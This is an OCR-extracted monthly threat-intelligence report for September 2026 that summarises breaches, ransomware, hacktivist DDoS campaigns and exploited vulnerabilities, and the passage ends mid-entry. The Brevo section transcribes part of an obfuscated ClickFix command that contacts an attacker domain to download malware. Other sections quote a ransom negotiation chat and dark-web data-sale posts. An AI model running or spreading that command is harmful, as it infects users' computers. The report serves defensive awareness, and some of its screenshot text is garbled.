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Disclaimer:

o This report is intended solely for cybersecurity awareness and defensive purposes.

The screenshot figures are being exposed by threat actors or victims.

The report is strictly for intended audience only.

Do not expose it outside the organization.

Some threat actor claims and dark web listings referenced may remain unverified at the time of publication.
EnCyb is not responsible for any harmful actions taken based on the information presented in this report.

©) Q) Q) (@) O

4

(L

@

53? i MANAGED SECURITY SERVICES
EI‘I\..Yb E



Monthly Intel Report TLP: GREEN

Executive Summary

September 2026 was characterized by a combination of ransomware activity, exploitation of internet-facing
vulnerabilities, supply-chain compromise, data breaches, credential and session abuse, and politically motivated
distributed denial-of-service (DDoS) campaigns. The threat landscape demonstrated continued convergence between
financially motivated cybercrime, hacktivism, and targeted data exploitation, with organizations across government,
finance, technology, healthcare, education, and critical infrastructure remaining exposed.

The Global Threat Overview identified Government, Finance, Technology, Education, and NGO sectors among the most
targeted sectors during the reporting period. The leading risk categories were Ransomware, Vulnerability Exploitation,
Data Breach, Phishing, and Supply-Chain Compromise. The report also highlighted Qilin, Akira, TheGentlemen, Storm,
and Krybit among the most active malware families observed during the month.

The vulnerability landscape remained equally concerning. September reporting included actively exploited vulnerabilities
affecting Check Point Management Server, Citrix NetScaler, Cisco Secure Email Gateway, FortiMail, GitLab, Microsoft
Exchange Server, Node.js ecosystem components, and other enterprise technologies. Of particular concern were
vulnerabilities enabling unauthenticated remote access, arbitrary command execution, privilege escalation, session
hijacking, and security-control bypass.

The overall threat assessment for September is therefore HIGH, driven by the combination of active exploitation,
ransomware expansion, large-scale data exposure, supply-chain weaknesses, and politically motivated attacks against
public-facing infrastructure.
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L Threat Intelligence Overview
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T Gontlemen 32% CVEID Product / Component Risk
CVE-2026-96940  Microsoft Exchange Server Critical
Qilin 28%
CVE-2026-104286  FortiMail Critical
Akira 18% o, s -
CVE-2025-7775 Citrix NetScaler (CitrixBleed 2) High
Storm 14% CVE-2025-8971  Check Point Management Server High
Krybit 8% CVE-2025-20352  Cisco Secure Email Gateway High
L N\ =)

September 2026 Threat Highlights

ShinyHunters Gyazo Brevo DragonForce DMDC RipperSec /

FBI compromise claim 23.62M user records Supply-chain attack RaaS activity with 3.05M individuals TheGarudaEye

with alleged access to exposed following via compromised data theft, encryption affected due to file- Layer 7 DDoS attacks

personnel data and image-upload server Cloudflare API key, and extortion across sharing vulnerability targeting public-facing

website defacement. compromise. malicious JavaScript multiple sectors. exposing military infrastructure in the
and ClickFix activity. personnel information. Middle East region.
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Notable Campaigns & Events

A summary of significant cyber incidents, threat actor activities, and major cybersecurity developments observed during
the reporting period, with focus on events linked to ongoing geopolitical tensions and emerging cyber threats.

/

FBI Hack, Demands Retraction’
of Threat Report

Reported a cyber intrusion claim involving the U.S. Federal Bureau of Investigation (FBI), attributed to the
cybercrime and extortion group ShinyHunters, which claimed to have compromised FBI systems and accessed sensitive
information relating to FBI personnel and job applicants. The group claimed access to Criminal Justice, Human Resources
(HR), and Medlink services and alleged possession of data relating to nearly all FBI agents and job applicants. To support
its claims, ShinyHunters reportedly defaced a subdomain of the FBI’s jobs website, fhijobs.gov, displaying a message stating
that the site had been seized. The group further claimed to have obtained 2-3 TB of information and provided a sample
allegedly containing personal information of approximately 5,000 FBI employees, including names, telephone numbers,
and home addresses. The authenticity and origin of the complete dataset had not been independently confirmed,
although reports indicated that portions of the sample appeared authentic.

Threat Actor Profile

PROFILE 4 ‘. ATTRIBUTION

MOTIVATION

in through
data theft

DATA ACCESS PROFIT

TACTICS, TECHNIQUES & PROCEDURES

&

OAuth and Extortion
refresh-token (pay-or-leak)
abuse

Attack Technique: ShinyHunters claimed to have gained unauthorized access to FBI systems by exploiting a zero-day
vulnerability in Oracle PeopleSoft and subsequently accessing multiple FBI services. The group alleged that it exfiltrated
2-3 TB of information, including sensitive personnel data, and used website defacement as evidence of the claimed
compromise. The attackers subsequently used the alleged stolen information as leverage by threatening disclosure and
demanding that the FBI retract or correct an earlier threat report concerning the group.
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SHINYHUNTERS

Fresenius Medical Care PSA - READ THIS NOW Kimberly-Clark
J

apply.tbijobs.gov

THIS SITE HAS BEEN SEIZED BY SHINYHUNTERS
rooting your systems since '19 ;)

eeeeesese  opeoren: sonsees
[ o

itive PII/PHI on i
information. We have a lot more than what we claim here. Thank

shnyhntww34phgoabdcgnyps2yu7dlwzmySlkve jwjdo6z7bmgshzayd. onion

C @ % applyfiobsgov

@FBIE

Scheduled Maintenance Underway

WE'RE SNIFFING OUT SITE UPDATES FOR YOU!

The site is currently down for m
be back up soon! Until then, try 1
these other pages:

| FBIJOBS HOME PAGE

| FBIJOBS ELIGIBILITY

Figure: FBI has now changed the page into maintenance notification
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Recent Victims of ShinyHunters

Final statement re PSA Fresenius Medical Care PSA - READ THIS NOW

Shinyhunters PR Shinyhunters

@ Discovered: 2026-09-24 (3d ago) & Discovered: ) B Discovered: 20

ments to make -
i the othe

Qiv¥x Kimberly-Clark State of Florida DMV
Shinyhunters Shinyhunters Shinyhunters

@ Discovered 1 30 8 Discovere g 8% Discovered:

Medela.com Neogen Corporation McKesson Corporation
ZnEoeEN
Shinyhunters Shinyhunters Shinyhunters

@ Discoveres (21d ago) 8 Discovered: 9d ago) 8 Discovered:

final
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Gyazo

| Exposes 23 Million O
User Records A

A major data breach affecting Gyazo, the image-sharing service operated by Japanese software company
Helpfeel, after attackers exploited a vulnerability in the service’s image upload server to gain unauthorized access and
execute malicious commands. The intrusion, identified on September 11, 2026, allowed the attacker to access a database
containing approximately 23.62 million Gyazo user records before access was blocked the following day. The exposed
information reportedly includes names or nicknames, email addresses, password hashes, user IDs, device IDs, login
session IDs, X integration tokens, Google SSO email addresses, profile information, subscription and billing status,
registration and last-login information, and usage statistics. In addition, approximately 490 million image metadata
records were exposed, primarily associated with images uploaded in or before January 2019, while metadata from a
further 2.4 million images was accessed through specific searches. The exposed image metadata may include image IDs,
upload IP addresses, User-Agent information, EXIF location data, OCR text, image titles, source URLs, and hashed
passphrases associated with private images. Some of this information could potentially be used to reconstruct Gyazo image
URLs and access images without authorization.

%&? MANAGED SECURITY SERVICES
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Helpfeel stated that payment card information was not exposed and that it had blocked the access routes used in the

incident and remediated the exploited vulnerability. The investigation remained ongoing, and users were advised to change

their passwords, particularly where the same or similar passwords were reused on other services, and to remain vigilant

against phishing and other suspicious communications.

Incident Metric

User records exposed

Image metadata records exposed
Date of intrusion

Attacker access cut off

Public disclosure date

Disclosure delay
Data types exposed

Payment card data exposed
Regulator notified

Bulk of exposed images date to

~23.62 million

~490 million
September 11, 2026
September 12, 2026
September 16, 2026

~5 days (attack to notice)

Emails, password hashes, user/device/session IDs, image IDs, OCR text, EXIF
data, X and Google SSO tokens

None, per Helpfeel
Japan’s Personal Information Protection Commission

January 2019 or earlier

] Helpfeel

Save the day.

News Contact Japanese /

L

Gyazo

2026/9/16 0O X

Notice and Apology Regarding a Data Breach
Resulting from Unauthorized Access to
Gyazo

Figure: Helpfeel (formerly Nota) disclosed breach affecting Gyazo, its cloud-based screenshot and screen-recording

sharing service (Source: https://corp.helpfeel.com/en/news/news-20260916)
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Brevo Hit by
Affecting 100,000 Sites

Brevo|

Formerly Sendinblue

Supply chain attack targeting Brevo, a customer engagement and digital marketing platform, in which attackers
compromised a long-lived Cloudflare API key that had been hardcoded in Brevo’s application source code. The Cloudflare
API key were owning the full account privileges. The attackers created a malicious Cloudflare Worker that modified Brevo-
hosted JavaScript, including Forms, Conversations, and SDK components, potentially affecting 100,000+ websites.

Visitors were redirected to fake Cloudflare verification pages using the ClickFix technique to execute malicious commands.
On WordPress sites, the attack also attempted to install a disguised “Web Media Optimizer” plugin capable of
persistence, JavaScript injection, and administrator session generation. Brevo stated that its core application, APls, email
infrastructure, and customer data were unaffected.

Brevo

— 4
CLOUDFLARE JS
P

Attacker o Compromised Key Malicious Worker o Injected Scripts e Wide Distribution
Obtains long-lived API key has full Attacker creates a Brevo Forms, Conversations 100,000+ websites
Cloudflare AP key Cloudflare account malicious Cloudflare widget, and SDK loader are loading Brevo components
hardcoded in Brevo's permissions. Worker to modify web modified to deliver serve the compromised
source code. content at the CDN edge malicious JavaScript. scripts to visitors.

(without changing

origin files). J

CLOUDFLARE

Verify you are human

ClickFix Attack (Visitors) WordPress Plugin (Admins)
Users are shown fake Lot apnet s ) On WordPress sites, logged-in »
Cloudflare verification pages administrators are targeted with
and tricked into copying and w a malicious plugin ("Web Media
executing malicious commands . Optimizer") that can hide from
A s Compromised the plugin lst, persist, inject Persistent Access
y, User System additional JavaScript, and & Further Compromise

allow attacker-created admin
sessions.

Brevo Subscribe to updates Brevo

Attacker gained access to client accounts Security Incident - ClickFix

View the incident

Post-mortem: malicious "ClickFix" script served via Brevo's Cloudflare account

What happened Date: 14 September 2026 Impact window: 15:01 to 20:30 UTC, 5h29 Status: Resolved.
Hardening ongoing.
On September 10th at 6:30 AM UTC we identified a security issue where an attacker exploited a

flaw in the way Brevo handles SAML SSO to gain access to 138 Brevo accounts. 6 of those Summary

accounts were used to send phishing emails to the contacts stored there, and for 43 accounts On 14 September 2026, an attacker used a compromised Brevo Cloudflare API key to deploy a

they exported the contacts. 3 accounts have no meaningful activity. Cloudflare Worker on our account. For about five and a half hours, the Worker injected a
malicious script into pages of brevo.com and sibforms.com and into three JavaScript files that

The attacker no longer has access. At 8:30 AM UTC we closed the route the attacker used and customers embed on their own websites. The script showed selected visitors a fake "Cloudflare,

signed out every user on the platform. There has been no further attacker activity since. We are verify you are human" page that instructed them to paste and run a command on their computer,

COHTBCUHQ every affected customer direclly with details specif\c to their account. a social-engineering technique known as ClickFix. Brevo's application at app.brevo.com was not

affected. No Brevo systems were modified at their source, the content was altered in transit at
our CDN edge.
How the attacker gotin .
What customers and visitors may have seen

The attacker created a Brevo account and enabled single sign-on (SS0) on it, then invited A full-screen Cloudflare-branded page, sometimes appearing right after a genuine Cloudflare

legitimate Brevo users into that SSO configuration. Using their own identity provider, they were checkbaox, asking the visitor to press Win+R, then Ctrl+Y, then Enter. Following those steps ran a

able to sign in as those invited users, which by itself is expected behaviour for SSO. command placed on the clipboard by the script, which downloaded malware onto the visitor's
Windows computer. The page was shown selectively, so most visitors and repeat visits saw

This access was not properly scoped: instead of being limited to the single organization where nothing.

550 was enabled, it wrongly granted the attacker access to all organizations those users could

On WordPress sites that embedded a Brevo widget, if a visitor was logged in as a WordPress

reach. administrator, the script also attempted to silently install and activate a plugin on that site.

%{5 En@yb 9 MANAGED SECURITY SERVICES
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Figures: Brevo official incident writeup on their portal.(Sources :
https://status.brevo.com/incidents/01M266V1CZKJIQNGZRNEGFD5CQE/write-up,
https://status.brevo.com/incidents/01M2QBC4EZ24ZACW6SWQYVWSEN3/write-up)

& C 2% brevocom

eware, uBlock Origin blocked a potential ClickFix attack:
md /c for /f %h in ('where conh???.e??') do for /f %b in ('where cm?.e??') do start /min %h --headless %b /v /c "set uof=https:&set atm=//systask3820.com/b?t=Q7shGZGK&for /f %d in ('where cu??.ei

www.brevo.com

Checking your browser

This website is using a security service to protect itself from online attacks. This pag

human

\ Verifying...

Additional Verification Required

2) Press ¢l + V

Figure: ClickFix lure on the Brevo website

The injected payload used ClickFix social engineering to trick visitors into manually executing attacker-supplied commands.
Logged-in WordPress administrators were separately targeted through an attempted silent installation of a persistent
malicious plugin, enabling further malicious JavaScript injection and potential administrator-session abuse.

Critical E-Commerce

Platform Disrupted

Reported a coordinated distributed denial-of-service (DDoS) campaign targeting Israel Cart, an lIsraeli e-
commerce platform, attributed to the Southeast Asian hacktivist collective RipperSec under the #0pZionistV2 campaign.
The attack, first reported on September 2, 2026, subjected the platform’s web infrastructure to sustained application-layer
request floods targeting HTTP and HTTPS services hosted on Amazon Web Services (AWS). During the campaign,
israelcart.com became intermittently or completely inaccessible across multiple independent monitoring locations, with
monitoring nodes recording persistent connection timeouts, severe packet loss, socket exhaustion, and repeated 502 Bad
Gateway and 504 Gateway Timeout responses.

/4
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The campaign was amplified through allied hacktivist channels, with RBL Leviathan Ghost reportedly directing the
DDOSTEAMRBL bot cluster against the target, while The Comrade’s Group contributed additional traffic using the
MegaMedusa stress-testing framework. The disruption affected the availability of the e-commerce storefront and
potentially impacted customer transactions and service reliability.

¥ 4&B.elcart.com

502 Bad Gateway

@ ORODER TIME: [0}
& TIME ZONE: 08:00GMT
,# NEW TARGET RELEASED i DATE: 02/09/2026

#0pZ istV2

Target Name : @ Cuisine
Israel Cart "
®r:
® Port : 80 | 443
Target Info -
ISP
e-commerce platform that acts as
a direct-to-consumer bridge, selling
authentic Israeli products, Judaica, and l Message : AND FVCK ISRAEL
artisan goods manufactured in Israel -
and shipped globally ' "Stop Killings People,
We Are Watching Your Action.”

FREE PALESTINE

C{ Mute {;3

Thank-you to all our Allies,
May God Bless Our Actions

4 Follow For Latest Update :

* Q¢
Q

aGarudaFve
tacks on

ATAR A QATAR
1{ SRWAYS ( *v ) QFA Qatar INVESTMENT
QFA LIVING

HOLIDAYS AUTHORITY

Distributed attack targeting established public infrastructure of Qatar. Qatar Football Association (QFA) website,
attributed to the hacktivist collective TheGarudaEye. The attack disrupted the QFA public website for more than three
hours through coordinated Layer 7 HTTP flood waves, with visitors encountering HTTP 504 Gateway Timeout and
Cloudflare Error 525 responses. Reported that multi-region network diagnostics recorded connection timeouts across
international testing nodes, with subsequent probes showing a combination of HTTP 403, HTTP 504, and Cloudflare 525
errors.

/4
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502

The service behind this page isn't responding to Azure Front Door.

Bad Gateway

Azure Front Door wasn't able to connect to the origin.
If the problem persists, use the troubleshooting steps to resolve the issue.

Azure Documentation

M % https:/www.gia.qa

502

The service behind this page isn't responding to Azure Front Door.

82

@ https:/www.agiag D & @

502

The service behind this page isn't responding to Azure Front Door.

Bad Gateway

Figures: Telegram post by GarudaEye with theirs target lists and proof of take downs.

Actor’s Post on Current Victims

QATAR

AIRWAYS &3

#TheGarudaEye #FreePalestine #WeAreRevolution

Check-Host.cgl

https://www.qatarairwaysholidays.com/

E SRy TR R
Check-Host.cg

https://www.qatarairwaysholidays.com/

QATARGF | HOLIDAYS

Exklusive Angebote

Der giinstigste
Stopover der Welt

12

Temporarily Unavailable

[l The site you are trying to view is currently experiencing temporary unavailability. (5)

We apologise for the inconvenience.

What can | do?
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Website Name: Qatarliving

Check-Host.cg

n

BB 2 cesrivingcomven o2 ISR

URL Checked: www.qatarliving.com

t”f‘VING t O @® Response Time: 24.59 ms

Last Down:

20 Qatarliving.com is UP and reachable by us.

R e Please check and report on local outages below ..

Report an Issue
Living in Qatar https://www.qatarliving.com/
vents to Check T ¢

ut This Week...

Check-Host.cg

I Stocks

Website Name: Qatarliving

~ Top Gainers v Top Decliner
URL Checked: www.gatarliving.com

S CORIEZL AT [ = LEEE Response Time: no response

“om QLMI2040 420 TQES 2035 Down For:

Comianiddin e GEIT) Qatarliving.com is DOWN for everyone.

B) oHkz7s 04 =3 ypeporss Itis not just you. The server is not responding.

Report an Issue
B DusKazss .02 % McGS 5288 22

The attack was claimed through Telegram channels associated with TheGarudaEye under the campaign designation
“GLOBAL CYBER ATTACK #0131,” with the group initially announcing a three-hour attack duration and later extending the
claimed disruption window to 15 hours. As the attack continued, QFA administrators reportedly implemented an
emergency defensive measure by stopping the public-facing web application to limit further service degradation and
protect backend systems. The incident was assessed as an external Layer 7 DDoS attack, with the report stating that no
organizational data was exfiltrated, databases were not breached, and administrative credentials were not leaked. The
activity forms part of TheGarudaEye’s broader ideologically motivated hacktivist campaigns targeting Gulf-region digital
infrastructure.

Citya Immobilier

Over 2.2 Million Records and
Nearly 50,000 Access Codes

A reported data breach claim involving Citya Immobilier, a French real estate management company, has raised
concerns over the alleged exposure of approximately 2.2 million records and 50,000 building access codes (digicodes).
The reported dataset presents potential cybersecurity and physical security risks, particularly where compromised access
codes could enable unauthorized entry into residential or commercial properties.

Depending on the information contained in the records, the alleged exposure could also facilitate targeted phishing,
identity fraud and social engineering against residents and property owners. The incident highlights the convergence of
cyber and physical security threats in the real estate sector and the importance of protecting sensitive tenant information
and building access credentials.

The full article could not be retrieved, so the dataset figures are based on its headline. The breach's authenticity, the
identity of the threat actor and the method of initial compromise remain unverified.

/4
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[FR] 2.2M CITYA IMMOBILIER (+50K DIGICODES)
by ChimeraZ - Friday Septembe: 0122 AM

b3
CITYA

IMMOBILIER

Hey munity, today I'm st
is a French real esta

1.1M_dossiers.json

Here you can find 2.1k samples:

Session:

Figures: Forum post offering an alleged Citya Immobilier dataset containing personal, property and building-access
information, observed on 11 September 2026.

If authentic, the dataset presents a significant privacy and physical-security concern because it appears to combine identity
and contact information with detailed property records and building access information. Names, phone numbers, email
addresses and addresses could support phishing, impersonation and fraud, while appointment and property-
management records provide additional context for highly targeted social engineering. The claimed exposure of roughly
50,000 digicodes, together with intercom, residence, floor, door, parking and garage information, could also create risks
extending beyond online abuse to unauthorized physical access if any of those codes remain valid.

The forum post provides detailed record counts, file names, sample JSON records and multiple sample-download locations.
It also breaks out the number of claimed digicodes contained in each file and states that the full archive is 1.92 GB.
However, the listing does not explain how the data was obtained, when any unauthorized access occurred or whether the

exposed access codes remain active.

%53‘? = MANAGED SECURITY SERVICES
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Transfast @ Payment SMS Records

mastercard

@ . =3,  Offered With Portal Access

In a darkweb forum, an actor posting as Marx reportedly advertised 11.8 million payment-related SMS records
associated with Transfast (Mastercard's own payment systems), alongside access to a portal. The alleged exposure raises
concerns about the potential compromise of sensitive financial communications and the misuse of payment-related
information for fraud, phishing and social engineering. If the advertised records contain identifiable customer or
transaction information, they could enable attackers to craft convincing financial impersonation campaigns. The
additional offer of portal access raises concerns about possible unauthorized access to payment-related systems. However,
the authenticity of the advertised dataset, the nature of the portal access and the extent of any compromise require
independent verification.

Potential Impact

Sensitive Data Exposure: Potential disclosure of payment-related SMS records, which may contain sensitive transaction or
customer information.

Financial Fraud: Exposed payment information could be exploited to facilitate fraudulent transactions, payment scams and
financial impersonation.

Targeted Smishing Attacks: Attackers could use leaked SMS records to craft convincing phishing messages impersonating
legitimate payment or remittance services.

Unauthorized Portal Access: If the advertised portal access is functional, attackers may be able to access additional
sensitive information or misuse payment-related services, depending on the permissions available.

Customer Privacy and Regulatory Risks: Exposure of identifiable financial information could create privacy concerns and
potential regulatory obligations for affected organizations.

pataBAsE TRANSFAST/Mastercard Dal

‘ :’
TRANSFAST

mastercard

NA a MANAGED SECURITY SERVICES
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b bira five fire Bl

Figures: Forum post advertising Transfast messaging records, observed 7 September 2026.

Framing matters here more than usual: what is shown is a messaging provider's portal serving the payment company,
and nothing in the post indicates a compromise of Mastercard's own payment systems. The dashboard is internally
coherent, with delivery counts matching the traffic chart across the stated period, but a screenshot demonstrates a session
rather than access that persists, and no acquisition route is given. The account is days old with almost no standing. Dark
Web Informer has not retrieved the sample, is not linking the portal or contact addresses, and neither company has
publicly addressed the claim.

Personal Data of Kuwaiti
National Security Agency

A threat actor operating under the alias 0cx00iq has allegedly offered for sale a dataset containing sensitive
personal information belonging to employees of Kuwait’s National Security Agency. According to the actor, the dataset
includes employees’ full names, national identification numbers, phone numbers, mothers’ full names, dates of birth,
residential addresses, marital status, military status, and blood types.

PRICE COUNTRY ’

$3,500 | ™ uwait

-
B | Post Details £  Allegedly Included
TARGET
G} Kuwait National [ & Full name & surname ]
Security Agency (staff) J,
E National ID number
c COUNTRY
Kuwait
= [ & [ Phone number ]
ﬁ s(::;::nmentl
= National Security L ; Mother's full name ]
CLAIM prer N
g Employee personal [ B8 Date of birth J
data for sale )
—= 8
E DATA [ ﬁ l Place of residence ]
Full identity Pll per employ
R P ) [ o | Marital & military status]
PRICE
L‘ $3,500 (negotiable) } [ ‘ Blood type
\ VAN -
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The actor claims the information is current as of June 2026 and has advertised the dataset for approximately $3,500
(negotiable), providing a heavily watermarked spreadsheet sample as purported evidence. However, the authenticity,
accuracy, and full scope of the alleged data breach remain unverified till this reporting date.

The Kuwaiti National Securi'
by 0cx00iq - 4 minutes ago

Hello guys
Data from the Kuwaiti National Securty ~

The data contains:
Full name and sumame
ID number
Phone number
Mother's full name

0 Date of birth

8 Place of residence
Marital status
Military status
Blood type

Data freshness: 2026/6
This data contains information on employees of the

Price: $3500 (negotiable)

Our spies are everywhere @

Telegram Channel

Telegram Account for buy

session:

Empoa

Figure: Forum post advertising the leaked data
Impact & Status

The alleged exposure of sensitive personal information belonging to employees of a national intelligence agency raises
significant security and counterintelligence concerns. If verified, the compromised data could expose affected individuals
to physical targeting, surveillance, coercion, blackmail, identity theft, and impersonation. Additionally, personal
information such as mothers’ full names and dates of birth could be exploited for identity-verification fraud. Beyond
individual risks, the alleged breach could pose broader national security threats by enabling adversaries to identify
intelligence personnel, exploit personal vulnerabilities, and conduct targeted intelligence-gathering operations.

A for-sale listing accompanied by a watermarked spreadsheet sample was published on an underground forum. The sample
records, threat actor’s contact details, and purchasing information have been excluded from this report. The authenticity
of the alleged data breach remains independently unverified, and Kuwaiti authorities have not issued any public
statement regarding the incident.
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Data Breach Exposes
Records

TN &2 i}

WAS

\__ THE PENTAGON / Nearly

A significant data breach involving the U.S. Department of Defense's Defense Manpower Data Center (DMDC)
reportedly exposed sensitive personal and employment information belonging to approximately 3.05 million individuals,
including 2.76 million living people and 294,000 deceased individuals. The incident originated from a security
vulnerability in a file-sharing system that allowed unauthorized users to access files containing unencrypted personally
identifiable information (Pll) between October 2025 and July 16, 2026. The compromised information included Social
Security numbers, names, dates of birth, contact details, and military occupational information. The vulnerability was
discovered on July 16, 2026, and affected individuals began receiving breach notifications in September. Although officials
reported no evidence of data misuse at the time of disclosure, the incident raises substantial concerns regarding identity
theft, targeted social engineering, and the potential exploitation of military personnel information for intelligence-
gathering purposes.

Threat Actor and Targeted Verticals
Threat Actor : Unidentified; no confirmed attribution at the time.

Targeted Organization : U.S. Department of Defense (DoD) - Defense Manpower Data Center (DMDC)
Target Verticals : Government, Defense, Military, Public Sector, Federal Personnel Administration

Breach Timeline

OCTOBER 2025

JULY 16, 2026 SEPTEMBER 18, 2026

Unauthorized users
first exploited a
vulnerability in a

" to gain quiet entry
into the system.

The DMDC
discovered the flaw,

» ending 9 months

ac , and
immediately
patched the
vulnerability.

18

The Pentagon

began issuing
official physical
and digital breach
notifications to
affected individuals.

Outlets including
Military Times,
CNN, and ABC News
publicly reported
the massive scale

of the incident.
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Attack Technique

The attackers exploited a security vulnerability in DMDC'’s file-sharing system to gain unauthorized access to files
containing unencrypted personnel records. According to the breach notification, unauthorized access occurred over
approximately nine months, from October 2025 until July 16, 2026. The exposed information included Social Security
numbers and additional personal identifiers, such as names, dates of birth, contact information and military
occupational specialties. Following the discovery, DMDC patched the vulnerability and restored the affected system. The
initial intrusion method, identities of the attackers and extent of any data exfiltration remain undisclosed.

DragonForce RaaS
Expands Its Reach,

Reaching Victims
~ DragonForce Across Countries

7

- ‘\’ i

The DragonForce ransomware cartel has evolved into a centralized Ransomware-as-a-Service operation, driving a
significant surge in global attacks through an aggressive white-label affiliate model. The group utilizes modified legacy
source codes and advanced evasion tactics to target high-value organizations across multiple critical sectors. The group
maintains an aggressive average attack velocity of 65 victims per month alongside updated VMware ESXi locker capabilities
targeting versions 5 through 8.

Threat Actor Profile

DragonForce is a financially motivated ransomware operation that emerged in 2023 and developed from a conventional
RaaS model into a broader ransomware cartel structure. The operation provides ransomware infrastructure and services
to affiliates, allowing multiple operators to conduct intrusions under the DragonForce brand. Public reporting describes
the group as active across multiple industries and countries.

Threat Actor  : DragonForce

Type : Ransomware-as-a-Service / ransomware cartel
Motivation : Financially motivated

First observed :2023

Status : Active

Known aliases : DragonForce, DragonForce Ransomware Cartel, RansomBay

Operation : Data theft + ransomware encryption + extortion

Geographic : Global

Targeting Profile: Professional Services, Manufacturing, Technology, Retail & E-Commerce, Healthcare

The actor’s dataset currently lists Professional Services and Manufacturing as the two largest sectors, followed by
Technology. The United States accounts for the largest number of tracked victims, followed by the UK, Germany, Canada
and ltaly.
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Major Victims in September

. winfashion Arizona Vascular Medical Equipment, Inc . BMGP Groupe

Elite Industech Co., Ltd HEC Group arsrenacer.com

Dragonfor fore

Owen Leigh Optometry E Medical Department Store
AR "

H rubbermill.com - Homewood Sales Norwood Law Firm
[H]

[}

I discover your file and contacts on my systems, you said we can get the lst of files stolen from us and make a test decrypt, how can we
proceed?

20280708 S22 W2727

Also what is the price?
2025-07-05T 337 4220087

Yes. We will now provide a list and can do a test decryption of a small file with non-critical information.

wanz

[attachment: tree.txt (7771 bytes)]
wsssagneur

We have backups of your databases. Our encryption cannot be decrypted by third-party methods. Once the timer expires, the decryption
tool will be deleted and the data will be published. We want $1,500,000 for the decryption tool and deletion of the data taken from you.
ar-osTse227

The silence is getting 100 long. To stimulate the discussion, we can publish a notice of the incident, without releasing the actual data.
Usually, It takes less than 3 day for the situation o become public knowledge. Will this expedite our negotiations?

2005-a1-ATITA2:22 ORI

Can you please tell me how much money you want not to disclose the data and to delete them?
2025-07-0NTW 4G4 2200047

We have already written that we want $1,500,000
2025.07-08 041

We are discussing internally and will get back 1o you tomorrow. This is a ot of money and not something we can decide easlly.
2008.07-ONT20 48 4R 0GR

Ok. Keep us updated and keep an eye on the timer.
carrosozamuser

On the Bth, you sakd ‘get back to you tomorrow'. Today is the 11th and you haven't kept your promise. Today s the end of the workweek,
and if we don't get serious progress today, there will be consequences for breaking your word.

7-MrOSAS TAsBET

‘We have discussed this internally and your offer is 100 high. We have recovered most of our data, we would stll be nterested in the
decryptor and deletion of the data taken from us, but we cannot offer more than $100,000.
200507 TTU2e 34 2000832

‘There is iikely a typo In your proposal. Did you mean to offer $1,000,0007 $100,000 is clearly not a sum comparable to the damage, of one
that you can afford.

No, most of us internally do not want to pay criminals. The only way for it to make sense Is If it is cheaper than actual damages.
$1,000,000 Is way above this.
2025-0r-AmS 0T M TR

'm sure you've been following the news. You know that some people have chosen to sattle, even after the incident became public. They
placed a high value on data privacy. What would be the consequences if you were to handie t differently? It wouid be a significant news
story. We expect a serious proposal from you.

nTasaessmse

Ok, we wil circle back intemally on whether we believe we should make a higher offer. We will get back to you on Tuesday (Monday is off
In France and we have severai stakeholders for this decision)
20230 T m anmser

Figure: Negotiation chat with threat actor
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Widely Exploited Vulnerabilities

VENDOR

v s

==/ s
TTPs Matrix
Execution : User Execution

Defense Evasion: Indicator Removal: File Deletion, Impair Defenses: Disable or Modify Tools

Discovery : File and Directory Discovery

Impact : Data Encrypted for Impact

DragonForce represents a mature RaaS ecosystem whose risk comes not only from its ransomware payload but from the
scale of its affiliate model. The publicly tracked victim population spans numerous industries and jurisdictions, while the
operation has continued adapting its infrastructure and attack methods.

A threat actor operating under the handle “UWAYS”, claiming affiliation with Uways Qarani, alleges unauthorized
access to systems associated with Prince Sultan Military Medical City (PSMMC), also referenced in the post as Riyadh
Military Hospital. The actor claims to have obtained data belonging to thousands of Saudi military personnel, along with

patient and staff records, treatment information, and identity documents.

Six screenshots accompanying the claim purportedly show samples of the alleged data, including a patient referral table,
hospital and laboratory listings, a staff roster, identity document thumbnails, and hospital administrative interfaces. One
displayed dashboard reference Prince Sultan Armed Forces Hospital Madinah, which differs from the Riyadh-based facility
named in the original claim. The alleged intrusion, source, authenticity, completeness, and overall scope of the data have
not been independently verified till the reporting date.

A technically precise description of how the compromise was allegedly achieved, including the initial access vector,
systems/data accessed, and how the stolen information was subsequently exposed or offered.

/4
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A OGSCRETON  ACTVEFROM  PARINTIOCUD  LOCTYPUID. SATUSFAG. - TOWERUD Ao

Figure: Group post in darkweb forum, the visible samples include personal and medical information; individual names, patient
identifiers, contact details and document numbers are not repeated in this report.

Post Claims
e Complete control of the named military hospital claimed
e Information on thousands of military personnel claimed extracted
e Medical records and treatment files claimed
e Patient and staff lists claimed available
e Military identity cards claimed available
e Patient referral table shown
e Staff roster with roles and contact fields shown
e Hospital location and department metadata shown
e laboratory test catalog shown

Figure: Patient identity information sample post.
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Major Vulnerability & Exploit Intel

Open Source & Enterprise Applications

[ GitLab (CVE-2026-19478) - Unauthenticated Code Injection |

A critical flaw in GitLab's GraphQL directives allowed remote, unauthenticated attackers to silently inject malicious code,
modify public repositories, and manipulate internal enterprise user data. GitLab has remediated an issue in GitLab CE/EE
affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under
certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a
GraphQL directive.

References: https://docs.qgitlab.com/releases/patches/patch-release-qitlab-19-2-4-released/

https://nvd.nist.gov/vuln/detail/cve-2026-19478

[ Node.js & Ecosystem Vulnerabilities J

Software supply chain failures remained a massive threat, with over 72% of organizations discovering high-risk
vulnerabilities rooted deep within transitive open-source dependencies (such as ecosystem libraries like Node.js).

Undici (HTTP/1.1 Client for Node.js) - CVE-2026-85152: A severe regression vulnerability was introduced in undici versions
8.10.0 and 8.10.1. The library omitted the destination origin from its internal cache and request-deduplication keys when
components were composed onto a Client or Pool.

Node.js HTTP Request Smuggling - CVE-2026-58044: The internal HTTP parser omitted headers exceeding
maxHeadersCount boundaries from application-facing objects (reg.headers) but continued using them internally for
message framing.

Next.js Ecosystem Patches: On September 30, 2026, the Next.js Security Team rolled out delayed emergency security
patches fixing a critical flaw and a high-severity vulnerability originating from upstream dependencies. Fix: Update
frameworks immediately to v16.3.8 (Active LTS) or v15.5.27 (Maintenance LTS)

Reference: https://nodejs.org/en/blog/vulnerability/july-2026-security-releases

[ CVE-2026-96940 - Microsoft Exchange Server Elevation of Privilege Vulnerability J

A weakness in the authorization logic of Microsoft Exchange Server can allow an attacker that has authenticated network
access to gain higher privileges than intended. The flaw is recognized as CWE-1390 and could enable the attacker to
perform actions as a system administrator or other privileged user, compromising confidentiality, integrity, and availability
of mail services. Microsoft Exchange Server 2016 Cumulative Update 23, Microsoft Exchange Server 2019 Cumulative
